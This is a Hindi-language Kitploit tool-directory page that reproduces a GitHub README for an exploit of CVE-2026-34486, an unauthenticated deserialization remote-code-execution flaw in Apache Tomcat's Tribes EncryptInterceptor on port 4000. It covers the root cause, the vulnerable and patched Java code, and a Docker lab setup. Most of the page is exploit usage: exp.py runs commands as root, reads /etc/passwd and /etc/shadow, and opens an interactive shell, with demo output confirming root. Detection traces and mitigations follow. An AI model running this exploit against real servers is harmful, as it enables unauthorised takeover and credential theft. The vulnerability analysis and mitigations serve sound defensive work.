Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-34486 — Apache Tomcat EncryptInterceptor बाईपास का शोषण, जो पोर्ट 4000 पर Java डिसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के RCE की ओर ले जाता है। इसमें लैब सेटअप, इंटरैक्टिव शेल और डिटेक्शन मार्गदर्शन शामिल है। | Kitploit
उपकरण/GitHubGitHub/404-src/cve-2026-34486
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHub404-src/cve-2026-34486

CVE-2026-34486

Apache Tomcat EncryptInterceptor बाईपास का शोषण, जो पोर्ट 4000 पर Java डिसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के RCE की ओर ले जाता है। इसमें लैब सेटअप, इंटरैक्टिव शेल और डिटेक्शन मार्गदर्शन शामिल है।

रिपॉजिटरी देखें
9715 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-34486 — Apache Tomcat EncryptInterceptor RCE

Apache Tomcat Tribes क्लस्टर संचार मॉड्यूल EncryptInterceptor डिक्रिप्शन विफल होने पर संदेशों को त्यागने में विफल रहता है, जिससे अनधिकृत हमलावर पोर्ट 4000 पर Java डिसीरियलाइज़ेशन के माध्यम से रिमोट कोड एक्ज़ीक्यूशन ट्रिगर कर सकते हैं।

Apache Tomcat CVE CVSS Python Java Docker License


भेद्यता विवरण

फ़ील्डजानकारी
CVE IDCVE-2026-34486
CVSS स्कोर7.5 (उच्च)
घटकApache Tomcat Tribes EncryptInterceptor
प्रभावित संस्करण9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20
स्थिर संस्करण9.0.117 / 10.1.54 / 11.0.21
भेद्यता प्रकारडिसीरियलाइज़ेशन के माध्यम से अनधिकृत रिमोट कोड एक्ज़ीक्यूशन
हमला वेक्टरनेटवर्क / कोई प्रमाणीकरण नहीं / कम जटिलता
हमला पोर्टTCP 4000 (Tribes NioReceiver)

मूल कारण

Apache Tomcat की क्लस्टरिंग सुविधा क्लस्टर नोड्स के बीच सत्र डेटा को सिंक्रनाइज़ करने के लिए Tribes फ्रेमवर्क का उपयोग करती है, जो डिफ़ॉल्ट रूप से TCP पोर्ट 4000 पर सुनता है।

जब EncryptInterceptor (AES/CBC) सक्षम होता है, तो निम्नलिखित तर्क दोष मौजूद होता है:

root@kitploit:~
// EncryptInterceptor.java — भेद्य संस्करण
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // डिक्रिप्टेड संदेश को प्रोसेस करें...
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // केवल त्रुटि लॉग करता है
    }
    super.messageReceived(msg);  // ← बग: डिक्रिप्शन विफलता के बाद भी कच्चे बाइट्स आगे भेजे जाते हैं
}

catch ब्लॉक केवल त्रुटि को लॉग करता है। चूंकि super.messageReceived(msg) try-catch के बाहर है, कच्चे अनएन्क्रिप्टेड बाइट्स को XByteBuffer.deserialize() → ObjectInputStream.readObject() पर आगे भेजा जाता है।

एक हमलावर बिना किसी प्रमाणीकरण के RCE ट्रिगर करने के लिए एक क्राफ्टेड डिसीरियलाइज़ेशन पेलोड भेज सकता है।

हमला श्रृंखला

root@kitploit:~
Attacker  ──TCP:4000──►  NioReceiver (no auth)
                               │
                    EncryptInterceptor.messageReceived()
                      try  { AES/CBC decrypt → IllegalBlockSizeException }
                      catch{ log.severe("Failed to decrypt") }  ← only log trace
                      super.messageReceived(msg)                ← BUG: raw bytes pass through
                               │
                    GroupChannel → XByteBuffer.deserialize()
                               │
                    ObjectInputStream.readObject()              ← deserialization triggered
                               │
                    CommonsCollections6 Gadget Chain
                               │
                    Runtime.exec()  →  RCE as root  🔴

पैच (9.0.117)

फिक्स super.messageReceived(msg) को try ब्लॉक के अंदर ले जाता है, ताकि कोई भी डिक्रिप्शन विफलता संदेश को चुपचाप छोड़ दे (fail-closed)।

root@kitploit:~
// EncryptInterceptor.java — पैच किया गया संस्करण
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] decrypted = decrypt(msg.getMessage().getBytes());
        // प्रोसेस करें...
        super.messageReceived(msg);  // ← ठीक किया गया: केवल तभी पहुंचा जाता है जब डिक्रिप्शन सफल होता है
    } catch (Exception e) {
        log.error("Failed to decrypt message", e);  // संदेश त्याग दिया जाता है
    }
}

आवश्यकताएँ

  • Python 3.6+
  • Java 11+ (PATH में java और javac)
  • Docker (लैब परिनियोजन के लिए)
  • ysoserial-all.jar
  • apache-tomcat-9.0.116 (Tribes लाइब्रेरी के लिए)

लैब सेटअप

पूर्व-निर्मित भेद्य इमेज खींचें

root@kitploit:~
docker run -d \
  --name tomcat-cve-2026-34486 \
  -p 8080:8080 \
  -p 4000:4000 \
  nowday3/cve-2026-34486:latest

# सत्यापित करें
curl http://localhost:8080

Exp और निर्भरताएँ डाउनलोड करें

root@kitploit:~
# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/

# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Tomcat 9.0.116 (Tribes लाइब्रेरी के लिए)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/

शोषण

बुनियादी RCE सत्यापन

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"

# सत्यापित करें
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned

आउटपुट के साथ RCE (अनुशंसित)

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# आउटपुट: uid=0(root) gid=0(root) groups=0(root)

python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"

इंटरैक्टिव शेल मोड

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --shell

# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit

कस्टम पथ

root@kitploit:~
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
  --ysoserial ./ysoserial-all.jar \
  --tomcat-lib ./apache-tomcat-9.0.116/lib

exp.py विकल्प

root@kitploit:~
-t, --target      लक्ष्य IP (डिफ़ॉल्ट: 127.0.0.1)
-p, --port        Tribes पोर्ट (डिफ़ॉल्ट: 4000)
    --http-port   आउटपुट पुनर्प्राप्ति के लिए HTTP पोर्ट (डिफ़ॉल्ट: 8080)
-c, --command     कमांड सीधे निष्पादित करें (कोई शेल सुविधाएँ नहीं)
    --rce         कमांड निष्पादित करें और HTTP के माध्यम से आउटपुट प्राप्त करें
    --shell       इंटरैक्टिव शेल मोड
-g, --gadget      गैजेट श्रृंखला (डिफ़ॉल्ट: CommonsCollections6)
    --ysoserial   ysoserial jar का पथ
    --tomcat-lib  Tomcat lib निर्देशिका का पथ

डेमो

root@kitploit:~
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"

 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║   ██║ █████╔╝███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗╚██████╔╝
                                                          34486

Apache Tomcat EncryptInterceptor Bypass → Deserialization → RCE

Target     : 127.0.0.1:4000
Gadget     : CommonsCollections6

[*] TribesClient.java संकलित किया जा रहा है ...
[+] सफलतापूर्वक संकलित
[*] CommonsCollections6 पेलोड उत्पन्न किया जा रहा है ...
[+] पेलोड: 1361 बाइट्स
[*] Tribes फ्रेम भेजा जा रहा है → 127.0.0.1:4000
    [tribes] frame=1496B cdBytes=1478B
[+] फ्रेम भेजा गया!
[*] परिणाम प्राप्त किया जा रहा है: http://127.0.0.1:8080/.out.txt

    uid=0(root) gid=0(root) groups=0(root)

पहचान और समझौते के संकेतक

हमले द्वारा छोड़ा गया एकमात्र लॉग ट्रेस:

root@kitploit:~
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
  javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher

कोई readObject अपवाद लॉग नहीं किया जाता है — कमांड चुपचाप निष्पादित होता है।

शमन

कार्रवाईप्राथमिकता
Tomcat 9.0.117 / 10.1.54 / 11.0.21 में अपग्रेड करेंगंभीर
पोर्ट 4000 को केवल विश्वसनीय क्लस्टर IP तक सीमित करेंउच्च
बार-बार Failed to decrypt message के लिए लॉग की निगरानी करेंमध्यम
यदि आवश्यक न हो तो Tribes क्लस्टरिंग अक्षम करेंउच्च


संदर्भ

  • Apache Tomcat सुरक्षा सलाहकार
  • Apache Tribes दस्तावेज़ीकरण
  • ysoserial — frohoff
  • Java डिसीरियलाइज़ेशन चीटशीट

अस्वीकरण

यह प्रोजेक्ट केवल अधिकृत सुरक्षा अनुसंधान, पैठ परीक्षण और शैक्षिक उद्देश्यों के लिए है। इस टूल का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है। लेखक इस टूल के किसी भी दुरुपयोग या क्षति के लिए कोई दायित्व नहीं लेता है।


लाइसेंस

MIT लाइसेंस © 2026 404-src

टूल डाउनलोड करें